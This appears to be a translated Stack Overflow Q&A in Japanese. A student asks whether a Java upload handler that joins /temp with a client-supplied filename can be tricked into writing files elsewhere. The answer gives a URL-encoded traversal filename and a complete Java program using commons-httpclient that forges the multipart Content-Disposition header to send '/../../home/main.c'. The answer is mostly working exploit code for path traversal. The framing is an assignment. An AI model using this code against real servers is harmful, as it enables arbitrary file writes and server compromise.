0

任意の場所にファイルをアップロードする必要がある大学の課題があります。コードから、アップロードされたファイルが unix システムの一時フォルダー + ファイル名に保存されていることがわかります。これは、サーバー (java) にファイル名を /../../home/main.c として送信できれば、システムの任意の場所にファイルを保存できることを意味します。

このオプションを除外するファイル名の一部としてスラッシュ文字を挿入することは不可能であるため、唯一の方法は、手動でファイル名を送信して Web クライアントを騙すことです。

これは可能ですか?

File f = new File (dir,entry.getname());

"dir" は /temp です

4

1 に答える 1

1

ファイルに次のような名前を付け%2F%2E%2E%2F%2E%2E%2Fhome%2Fmain%2Ecて、ブラウザを使用してアップロードできますが、うまくいくとは思えません。

次のように、既存の実装をハッキングして multipart/form-data http post リクエストを偽造することもできます (commons-httpClient 3.1 を使用):

public class Forgery
{
    public static void main(String[] args)
    {
        File f = new File("/path/fileToUpload.txt");
        PostMethod filePost = new PostMethod("http://host/some_path");
        Part[] parts = 
        { 
            new StringPart("param_name", "value"), 
            new FilePart(f.getName(), f)
            {
                private static final byte[] FILE_NAME_BYTES = EncodingUtil.getAsciiBytes(FILE_NAME);

                @Override
                protected void sendDispositionHeader(OutputStream out) throws IOException
                {
                    out.write(CONTENT_DISPOSITION_BYTES);
                    out.write(QUOTE_BYTES);
                    out.write(EncodingUtil.getAsciiBytes(getName()));
                    out.write(QUOTE_BYTES);
                    out.write(FILE_NAME_BYTES);
                    out.write(QUOTE_BYTES);
                    out.write(EncodingUtil.getAsciiBytes("/../../home/main.c"));
                    out.write(QUOTE_BYTES);
                }
            } 
        };
        filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
        HttpClient client = new HttpClient();
        int status = client.executeMethod(filePost);
    }
}
于 2013-10-31T11:25:23.137 に答える